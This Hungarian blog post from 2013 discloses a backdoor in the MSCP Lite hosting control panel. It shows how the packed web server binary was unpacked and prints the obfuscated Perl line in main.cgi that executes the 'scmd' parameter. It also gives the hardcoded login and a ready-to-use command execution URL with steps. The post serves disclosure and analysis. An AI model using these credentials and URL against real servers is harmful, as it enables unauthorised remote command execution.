2013. március 7., csütörtök

MSCP Lite a napjainkban

Bevezetés

Az előző bejegyzésből kiderült, hogy hol rejtőznek a backdoor-ok a programban, azonban a 0.18.0-ás változatot követően egy változás következett be. Az előzőekben minden egyes alkalommal létrehozott system felhasználót már nem hozza létre a telepítő, és a main.cgi sem akkor futtat parancsot, ha a felhasználó system.

Egy komplexebb megoldás került megvalósításra, ami felderíthetőség szempontjából nehezebb, de nem lehetetlen. A beégetett felhasználónév és jelszó innentől magába a webszerverbe lett lefordítva, ráadásul még még tömörítve is lett, és a kitömöríthetőség is meg lett akadályozva, látszólag. Szerencsére azonban mégis ötletelések sorozata után sikerült visszafejteni az egészet, majd a végén a gépi kódból kinyerni a beégetett adatokat.

Az alábbiakban erről fogunk részletesen írni! Most a 0.18.20.19.8 és 1.00.3-s verziókat teszteltük.


Erre jutottunk!

Aki türelmetlen, annak itt leírjuk a végső eredményt:
Beégetett felhasználónév: "...." (idézőjelek nélkül, négy darab pont)
Beégetett jelszó: "       .       " (idézőjelek nélkül, hét darab szóköz majd pont és hét darab szóköz)

A paraméterek ugyanazok mint korábban, így elég egy ilyen címet meghívni:

http://<IP>:90/mscpliteadmin/main.cgi?scmd=<PARANCS>

Ahol az <IP> a szerver IP címe, a <PARANCS> pedig a futtatni kívánt parancs.

Lehetséges továbbá, hogy nem a 90-es porton fut a webszerver, így ennek megfelelően ezt is kell cserélni a címben. Ezután a böngésző azonosításnál kézzel megadjuk a hozzáférési adatokat, és látható is a végeredmény.

És most lássunk neki a program elemzésének!


Régi nyomok elrejtése

A korábbiakhoz képest tehát kiderült, hogy a telepítő script már nem hoz létre beépített felhasználót a htpasswd fájlba, viszont frissítéskor sem törli azokat, így bizonyos gépeken még létezhetnek (de AZ a felhasználó már parancs futtatást nem fog engedélyezni, a megváltozott main.cgi miatt).

Egy verzió azonban mégis törli frissítéskor a system felhasználót, ez a 0.19.8, a telepítő script 81. sorában:

htpasswd -D /home/mscplitecenter/adminpasswd system 2> /dev/null

Ez sem a korábbi, sem az azt követő verzióban nem található meg (köztes verziókban még lehetett, de nem rendelkezünk azokkal).


Kódban látunk

Ha nincs tehát a htpasswd-ben felhasználó, akkor hogyan tud mégis belépni a program fejlesztője távolról, merülhet fel a kérdés. Kis töprengés után könnyen kitalálható, hogy a webszerver lesz a ludas, amibe kis módosítással könnyen bele lehet írni egy fix felhasználó és jelszó ellenőrzést. Így neki is láttunk a httpd-mscp futtatható boncolásának.

Az első probléma az volt, hogy egy sima HEX editorral semmit nem lehet kiolvasni belőle, mivel vagy rejtjelezett a kód, vagy tömörített. A kódot mégis jobban megnézve hamar kiderült, hogy ez tömörített, ráadásul az UPX tömörítővel. Ezzel a tömörítővel több futtatható is tömörítve lett a csomagban, ám csak néhány lett úgy módosítva, hogy azt ne lehessen egyszerűen kitömöríteni. Ezek közé tartozik a webszerver is.


Az UPX újabb verziói úgy tömörítenek ELF-et (linux alatti futtathatót), hogy azokba egy újabb ELF fejlécet is tesznek, így egyből a memóriába indul el a program bármiféle átmeneti fájl létrehozása nélkül. Ez egyből szemet szúr a fenti képen (pirossal kiemelve). A másik érdekesség, hogy az UPX fejléc a kékkel kijelölt helyen szokott lenni, de ez módosítva lett, így ha megpróbáljuk kicsomagolni, akkor a következő üzenetet kapjuk:

root@tenv:~# ./upx -d httpd-mscp
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.09        Markus Oberhumer, Laszlo Molnar & John Reiser   Feb 18th 2013


        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: httpd-mscp: NotPackedException: not packed by UPX


Unpacked 0 files.

Ahhoz, hogy kicsomagolható legyen, három helyen kell kicserélni ezt a módosított fejlécet "FF FE FD F7"-ről "55 50 58 21"-re. Az első a képen is látható helyen (78h offset), valamint az alábbi képen látható két kijelölt helyen (ezek a fájl végén lesznek, címük változó a mérettől függően, jelenesetben 4A48h és 4A50h offseteknél):


Ha ezeket átírjuk, akkor az UPX is másképp fog reagálni a kicsomagolásra:

root@tenv:~# ./upx -d httpd-mscp_mod
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.09        Markus Oberhumer, Laszlo Molnar & John Reiser   Feb 18th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     40940 <-     19060   46.56%  netbsd/elf386  httpd-mscp_mod

Unpacked 1 file.

Ezt követően egy debugger segítségével ha megnyitjuk a kicsomagolt programot, akkor megtalálhatjuk a beégetett eléréseket. Az 1.00.3-as verziónál (amely jelen pillanatban is a legfrissebb letölthető) az azonosítás a 804C400 címen lévő metódusban található, jól látható az elején, hogy beolvassa a .htpasswd fájlt, összehasonlítja azt a megadott információkkal, és az is, hogy egy statikus felhasználóval is összehasonlítja a belépést.


Szembetűnik azonnal az _strcmp függvény meghívása, ami két stringet hivatott összehasonlítani.


Perlekedünk

Bár már felfedeztük a beépített hozzáférést, nézzük meg a /data/www/mscpliteadmin/main.cgi tartalmát is, hogyan hasznosul az új tudás. Ha megnyitjuk, a régebbi verzióktól kicsit eltérő megoldással találkozunk, az scmd paraméter azonban megmaradt továbbra is:

if(($que[0]eq"\x73c\x6dd")&&($swv=~"\163*\.\\56\$")){$que[1]=~s/\x2520/ /g;$sout=`$que[1]`;push(@w,"\74\160\x72e\76$sout\74\x2f\160\x72e\76")}

Itt megint a HEX-ben írt karakterekkel találkozunk, kicsit módosítva, hiszen most már UTF-8 formában látható, alakítsuk át olvashatóbb alakba:

if(($que[0]eq"scmd")&&($swv=~"s*.\56$")){$que[1]=~s/\x2520/ /g;$sout=`$que[1]`;push(@w,"<pre>$sout</pre>")}

Ebből már többet megértünk. A paraméter tehát ismét scmd, a felhasználónevet pedig egy reguláris kifejezéssel ellenőrzi a program. E szerint bármilyen ".."-ra végződő felhasználónév és meglévő scmd paraméter esetén kódot fog futtatni, amit az scmd értékéből vesz.


Próbáljuk ki!

Nézzük meg akkor, hogy tényleg működik-e amit felfedeztünk. Először a rendelkezésre álló 0.18.2-es verzióval kezdünk. Egy sima "ps" parancsot futtatunk le:


Lássuk mi a helyzet a 0.19.8-as verzióval:


És végül a legfrissebb elérhető változattal, az 1.00.3-as verzióval is kipróbáltuk:



Nos, nagyon úgy néz ki, hogy sikerrel jártunk. Csak a következőket kellett tenni:
  1. Feltelepíteni egy teszt környezetet virtuális gépre (pl.: Debian 6.0, de éles környezetbe véletlenül SEM!)
  2. Megnyitni a böngészőben a virtuális gép IP címén a következő URL-t http://<IP>:90/mscpliteadmin/main.cgi?scmd=ps (ez a tesztben is futtatott ps parancsot fogja lefuttatni)
  3. Megadni az azonosítási adatokat ("...."/"       .       " idézőjelek nélkül kézzel beírva)
  4. Ha mindent jól csináltunk, akkor láthatjuk a ps parancs kimenetét
A beégetett felhasználóval történő belépéseket a webszerver NEM naplózza, így annak felfedezhetősége csak külső naplózó eszközökkel lehetséges.


Különböző verziók

Az előző bejegyzésünkben is elérhetővé tettük a tesztelt és rendelkezésre álló verziókat, így most sem teszünk másképpen. Letölthetőek eredeti formában, MD5 hashel ellátva, valamint a bejegyzés alapjául szolgáló 1.00.3-as verziót a hivatalos forráshoz is linkeltük.

MSCP Lite 0.18.2

  • Megjelenése 2012. szeptember 1. a fájl dátumok alapján.
  • Beépített felhasználónév: "...." (idézőjelek nélkül)
  • Beépített jelszó: "       .       " (idézőjelek nélkül)
MD5: 3d949e8b36f991304e7c8cb796afc867
Letöltés: mscplite-current.tar.gz

MSCP Lite 0.19.8

  • Megjelenése 2012. október 30. a fájl dátumok alapján.
  • A telepítő script 81. sorában frissítés esetén törli a .htpasswd fájlból a korábbi system felhasználót.
  • Beépített felhasználónév: "...." (idézőjelek nélkül)
  • Beépített jelszó: "       .       " (idézőjelek nélkül)
MD5: f613caddd3c5ed220908b16cb071a95f
Letöltés: mscplite-current.tar.gz

MSCP Lite 1.00.1

  • Megjelenése 2012. november 25. a fájl dátumok alapján.
  • Beépített felhasználónév: "...." (idézőjelek nélkül)
  • Beépített jelszó: "       .       " (idézőjelek nélkül)
MD5: 0fccfe58fdd9e0340d9be471ac8eb7ef
Letöltés: mscplite-current.tar.gz

MSCP Lite 1.00.3 (cikk írásakor legfrissebb verzió)

  • Megjelenése 2012. december 14. a fájl dátumok alapján.
  • Beépített felhasználónév: "...." (idézőjelek nélkül)
  • Beépített jelszó: "       .       " (idézőjelek nélkül)
MD5: 62a4b3bfe5f2812ef83f05b27b5618f3
Letöltés: mscplite-current.tar.gz
Hivatalos oldal: http://www.unrealhosting.hu/mscp/
Hivatalos letöltési link: http://rtvstat.hu/mscplite-current.tar.gz

Nincsenek megjegyzések:

Megjegyzés küldése